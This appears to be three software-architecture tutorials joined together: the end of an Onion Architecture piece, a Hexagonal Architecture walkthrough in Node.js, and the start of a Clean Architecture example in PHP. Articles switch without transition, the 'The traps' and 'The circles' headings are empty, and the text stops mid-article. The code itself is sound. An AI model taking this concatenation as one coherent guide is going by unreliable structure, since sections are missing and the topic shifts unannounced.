Onion Architecture is an investment: more files, more interfaces, more indirection. It earns that cost when:

• the domain rules are the most valuable, longest-lived part of the system — outlasting today’s database or framework;
• you need fast, database-free tests for that domain logic;
• you expect to swap infrastructure — database, message broker, email provider — without touching business rules;
• more than one domain service or use case shares the same entities, so a clear inward dependency rule keeps them from becoming tangled.

For a small CRUD script, skip it. For the core of a service you’ll run and evolve for years, the rings are worth the extra files.

A five-point checklist

1. Keep the Domain Model free of library imports. No ORM base classes, no express, no SDK types inside entities.
2. Push cross-entity rules into Domain Services, not into a controller. They stay pure, no I/O.
3. Define ports in the Application layer, next to the use case that needs them. The interface lives with the consumer, not the infrastructure.
4. Let Infrastructure implement ports, never the reverse. An inner ring must never require() an outer one.
5. Wire everything in one composition root (index.js) and nowhere else.

Conclusion

Onion Architecture is one idea drawn as rings: the Domain Model sits untouched at the center, and every ring around it may depend inward but never outward. In Node.js this costs nothing exotic — plain classes for entities, constructor injection for use cases, and the discipline to keep require('pg') and require('express') out of the inner rings.

The payoff is a domain you can test in milliseconds, infrastructure you can swap without fear, and a codebase where “what does placing an order actually do” has one obvious, framework-free answer.

This note strips it to the essentials: the hexagon shape, ports vs. adapters, and one real feature — registering a user in a small API — built the hexagonal way in Node.js. It reads in about 10–15 minutes.

The one-sentence definition

Hexagonal Architecture puts your business logic in the center, talking only to interfaces (ports) it defines — while everything that touches the outside world (HTTP, a database, email, a CLI) is an adapter plugged into those ports from the edges.

Everything below is a consequence of that sentence.

Why a hexagon?

The shape isn’t special — it’s just a hexagon so there’s visual room to draw several sides, each one representing a different way something can plug into the application. Some sides are driving (things that call your app: HTTP requests, CLI commands, a message queue consumer). Others are driven (things your app calls out to: a database, an email provider, a payment API).

If this reminds you of Clean Architecture’s concentric circles — it should. Hexagonal, Clean, and Onion Architecture are siblings: same Dependency Rule (“dependencies point inward, the core never imports a framework”), different diagrams. Hexagonal is usually the easiest to explain because “ports and adapters” maps directly to real code: one interface, one or more classes that implement it.

Real-world use case: “Register a user”

A client submits an email and password. The system must: check the email isn’t taken, hash the password, save the user, and send a welcome email. We’ll build it in Node.js, from the inside out.

1. The domain — no framework in sight

// domain/user.js
class User {
  constructor(id, email, passwordHash) {
    this.id = id;
    this.email = email;
    this.passwordHash = passwordHash;
  }

  static register(id, email, passwordHash) {
    if (!email.includes('@')) {
      throw new Error('Invalid email address');
    }
    return new User(id, email, passwordHash);
  }
}

module.exports = { User };

User has no idea it will end up in Postgres or arrive as JSON over HTTP. It only knows what a user is and what makes registering one valid.

2. Ports — interfaces the use case defines

// application/ports.js

// Driven port: what the use case needs from storage.
// (Node has no interfaces, so the "port" is a documented shape —
//  any object with these async methods satisfies it.)
//   UserRepository: { findByEmail(email), save(user) }
//   Notifier:       { welcome(user) }
//   Hasher:         { hash(plainPassword) }

module.exports = {}; // ports are documented shapes, not enforced classes

These are phrased in domain terms — findByEmail, save, welcome — never SELECT * FROM users or transporter.sendMail().

3. The use case — the application core

// application/registerUser.js
const { randomUUID } = require('crypto');
const { User } = require('../domain/user');

class EmailAlreadyTaken extends Error {}

class RegisterUser {
  // Dependencies are injected as ports: repo, hasher, notifier.
  constructor({ userRepository, hasher, notifier }) {
    this.userRepository = userRepository;
    this.hasher = hasher;
    this.notifier = notifier;
  }

  async handle({ email, password }) {
    const existing = await this.userRepository.findByEmail(email);
    if (existing) {
      throw new EmailAlreadyTaken(email);
    }

    const passwordHash = await this.hasher.hash(password);
    const user = User.register(randomUUID(), email, passwordHash);

    await this.userRepository.save(user);
    await this.notifier.welcome(user);

    return user;
  }
}

module.exports = { RegisterUser, EmailAlreadyTaken };

Read it top to bottom: it’s the registration process in plain terms. No req, no res, no pg.Pool, no nodemailer. Swap Postgres for MongoDB, or SendGrid for a queue-based notifier — this class does not change.

4. Driven adapters — implement the ports

Repository (Postgres, using the pg package):

// adapters/driven/pgUserRepository.js
class PgUserRepository {
  constructor(pool) {
    this.pool = pool; // node-postgres Pool
  }

  async findByEmail(email) {
    const { rows } = await this.pool.query(
      'SELECT id, email, password_hash FROM users WHERE email = $1',
      [email],
    );
    if (rows.length === 0) return null;
    const row = rows[0];
    return { id: row.id, email: row.email, passwordHash: row.password_hash };
  }

  async save(user) {
    await this.pool.query(
      `INSERT INTO users (id, email, password_hash) VALUES ($1, $2, $3)
       ON CONFLICT (id) DO UPDATE SET email = $2, password_hash = $3`,
      [user.id, user.email, user.passwordHash],
    );
  }
}

module.exports = { PgUserRepository };

Hasher (bcrypt):

// adapters/driven/bcryptHasher.js
const bcrypt = require('bcrypt');

class BcryptHasher {
  async hash(plainPassword) {
    return bcrypt.hash(plainPassword, 12);
  }
}

module.exports = { BcryptHasher };

Notifier (nodemailer):

// adapters/driven/mailNotifier.js
class MailNotifier {
  constructor(transporter) {
    this.transporter = transporter; // nodemailer transport
  }

  async welcome(user) {
    await this.transporter.sendMail({
      to: user.email,
      from: 'hello@example.com',
      subject: 'Welcome!',
      text: `Hi ${user.email}, your account is ready.`,
    });
  }
}

module.exports = { MailNotifier };

Each adapter is small, boring, and disposable — exactly what you want for the code that talks to the outside world.

5. Driving adapter — an Express route

// adapters/driving/httpRoutes.js
const express = require('express');
const { EmailAlreadyTaken } = require('../../application/registerUser');

function buildRouter(registerUser) {
  const router = express.Router();

  router.post('/users', async (req, res) => {
    try {
      const user = await registerUser.handle({
        email: req.body.email,
        password: req.body.password,
      });
      res.status(201).json({ id: user.id, email: user.email });
    } catch (err) {
      if (err instanceof EmailAlreadyTaken) {
        return res.status(409).json({ error: 'Email already taken' });
      }
      res.status(400).json({ error: err.message });
    }
  });

  return router;
}

module.exports = { buildRouter };

The route turns HTTP into a plain object, calls the use case, and turns the result back into HTTP. That is all it does — same job as the Express route, a CLI command, or a test would each do differently while calling the exact same RegisterUser.handle().

6. Wiring — the composition root

// index.js
const express = require('express');
const { Pool } = require('pg');
const nodemailer = require('nodemailer');

const { RegisterUser } = require('./application/registerUser');
const { PgUserRepository } = require('./adapters/driven/pgUserRepository');
const { BcryptHasher } = require('./adapters/driven/bcryptHasher');
const { MailNotifier } = require('./adapters/driven/mailNotifier');
const { buildRouter } = require('./adapters/driving/httpRoutes');

const pool = new Pool({ connectionString: process.env.DATABASE_URL });
const transporter = nodemailer.createTransport({ /* smtp config */ });

const registerUser = new RegisterUser({
  userRepository: new PgUserRepository(pool),
  hasher: new BcryptHasher(),
  notifier: new MailNotifier(transporter),
});

const app = express();
app.use(express.json());
app.use(buildRouter(registerUser));

app.listen(3000, () => console.log('Listening on :3000'));

This is the only file that knows about Express, pg, and nodemailer and about the domain at the same time. Everywhere else, one side or the other is invisible.

Why this pays off: testing without a database

Because RegisterUser only depends on port shapes, a test can hand it plain in-memory fakes — no Express, no Postgres, no network:

// test/registerUser.test.js
const { RegisterUser, EmailAlreadyTaken } = require('../application/registerUser');

function fakeRepo(existingUsers = []) {
  const store = [...existingUsers];
  return {
    async findByEmail(email) {
      return store.find((u) => u.email === email) || null;
    },
    async save(user) {
      store.push(user);
    },
  };
}

test('rejects a duplicate email', async () => {
  const registerUser = new RegisterUser({
    userRepository: fakeRepo([{ email: 'a@b.com' }]),
    hasher: { hash: async (p) => `hashed:${p}` },
    notifier: { welcome: async () => {} },
  });

  await expect(
    registerUser.handle({ email: 'a@b.com', password: 'secret' }),
  ).rejects.toBeInstanceOf(EmailAlreadyTaken);
});

This test runs in milliseconds and never touches a real database — because the use case never asked for one, only for a UserRepository-shaped object.

The traps

When to reach for it

Hexagonal Architecture is an investment: more files, more interfaces, more indirection. It earns that cost when:

• the business rules are non-trivial and will outlive today’s database or framework choice;
• you have multiple entry points to the same logic (HTTP API, CLI, scheduled job, message consumer);
• fast, database-free tests matter to your team;
• you expect to swap infrastructure — a different database, a different email provider — without touching the rules.

For a small CRUD script, skip it. For the core of a service you’ll run and evolve for years, the ports are worth the extra files.

A five-point checklist

1. Keep the domain and use cases free of library imports. No express, no pg, no SDK classes inside the core.
2. Name ports in domain language. UserRepository.findByEmail, not runQuery(sql).
3. Let the core own the port; adapters implement it. The interface lives with the consumer, not the infrastructure.
4. Make each adapter thin. Translate in, call the use case, translate out — nothing more.
5. Wire everything in one place (your index.js / composition root) and nowhere else.

Conclusion

Hexagonal Architecture is one idea wearing a six-sided diagram: the core defines what it needs, and adapters on every side plug in to satisfy it. In Node.js this costs you nothing exotic — a few plain classes, dependency injection through a constructor, and the discipline to keep require('express') out of your business logic.

The payoff is a core you can test in milliseconds, an infrastructure layer you can swap without fear, and a codebase where “how do I register a user” has one obvious, framework-free answer.

This note strips it to the essentials: the circles, the single rule that makes them work, and one real feature — placing an order in a small e-commerce app — built the Clean way in PHP. It reads in about 10–15 minutes. By the end you should be able to explain where a piece of code belongs and why.

The one-sentence definition

Clean Architecture organises code into layers so that business rules do not depend on frameworks, databases, or the web — those details depend on the business rules, never the other way around.

Everything below is a consequence of that sentence.

The circles

The Dependency Rule

Source code dependencies must point only inward, toward higher-level policy.

A class in an inner circle must never mention the name of a class in an outer circle. PlaceOrder (use case) may not reference OrderController, EloquentOrderRepository, Request, or DB. The dependency arrow always goes from concrete detail toward abstract rule.

When an inner layer needs something from the outside — “save this order somewhere” — it does not call the database. It declares an interface it owns, and an outer layer implements it. This is the Dependency Inversion Principle, and it is the mechanism that lets the circles hold.

Real-world use case: “Place an order”

A customer submits a cart. The system must: check every product is in stock, calculate the total, charge the card, save the order, and email a receipt. If the charge fails, nothing is saved.

We will build this feature from the inside out.

1. Entities — the domain, no framework in sight

// domain/Order.php
final class Order
{
    /** @param OrderLine[] $lines */
    private function __construct(
        public readonly OrderId $id,
        public readonly CustomerId $customerId,
        public readonly array $lines,
        private OrderStatus $status,
    ) {}

    public static function place(OrderId $id, CustomerId $customerId, array $lines): self
    {
        if ($lines === []) {
            throw new DomainException('An order must have at least one line.');
        }
        return new self($id, $customerId, $lines, OrderStatus::Pending);
    }

    public function total(): Money
    {
        return array_reduce(
            $this->lines,
            fn (Money $carry, OrderLine $l) => $carry->add($l->subtotal()),
            Money::zero('USD'),
        );
    }

    public function markPaid(): void
    {
        $this->status = OrderStatus::Paid;
    }
}

Order has no idea it will be stored in MySQL or created from an HTTP request. It only knows what an order is and what makes one valid. You can test total() and the “must have a line” rule with zero setup.

2. Ports — interfaces the use case owns

The use case needs to load products, persist orders, take payment, and notify the customer. It defines what it needs and nothing more:

// application/ports/ProductCatalog.php
interface ProductCatalog
{
    public function find(ProductId $id): ?Product;
}

// application/ports/OrderRepository.php
interface OrderRepository
{
    public function save(Order $order): void;
}

// application/ports/PaymentGateway.php
interface PaymentGateway
{
    public function charge(CustomerId $customer, Money $amount): PaymentResult;
}

// application/ports/OrderNotifier.php
interface OrderNotifier
{
    public function orderPlaced(Order $order): void;
}

These live with the use case, in the application layer. They are phrased in domain terms — charge(CustomerId, Money), not createStripePaymentIntent(array $params).

3. The Use Case — application business rules

// application/PlaceOrder.php
final class PlaceOrder
{
    public function __construct(
        private ProductCatalog $catalog,
        private OrderRepository $orders,
        private PaymentGateway $payments,
        private OrderNotifier $notifier,
    ) {}

    public function handle(PlaceOrderCommand $command): OrderId
    {
        $lines = [];
        foreach ($command->items as $item) {
            $product = $this->catalog->find($item->productId)
                ?? throw new ProductNotFound($item->productId);

            if (! $product->hasStock($item->quantity)) {
                throw new OutOfStock($product->id);
            }
            $lines[] = new OrderLine($product->id, $product->price, $item->quantity);
        }

        $order = Order::place(OrderId::generate(), $command->customerId, $lines);

        $result = $this->payments->charge($command->customerId, $order->total());
        if (! $result->successful()) {
            throw new PaymentDeclined($result->reason());
        }

        $order->markPaid();
        $this->orders->save($order);
        $this->notifier->orderPlaced($order);

        return $order->id;
    }
}

Read it top to bottom: it is the business process in plain terms. No Request, no DB::transaction, no Mail::to(), no Stripe. Those words never appear in this layer. Swap MySQL for DynamoDB, Stripe for PayPal, HTTP for a CLI command — this class does not change.

4. Interface Adapters — translate the outside world

The controller turns an HTTP request into a command, calls the use case, and turns the result into a response. That is all it does.

// adapters/http/PlaceOrderController.php
final class PlaceOrderController
{
    public function __construct(private PlaceOrder $placeOrder) {}

    public function __invoke(PlaceOrderRequest $request): JsonResponse
    {
        $command = new PlaceOrderCommand(
            customerId: new CustomerId($request->user()->id),
            items: array_map(
                fn ($row) => new CartItem(new ProductId($row['product_id']), (int) $row['qty']),
                $request->validated('items'),
            ),
        );

        try {
            $orderId = $this->placeOrder->handle($command);
        } catch (OutOfStock | PaymentDeclined | ProductNotFound $e) {
            return response()->json(['error' => $e->getMessage()], 422);
        }

        return response()->json(['order_id' => (string) $orderId], 201);
    }
}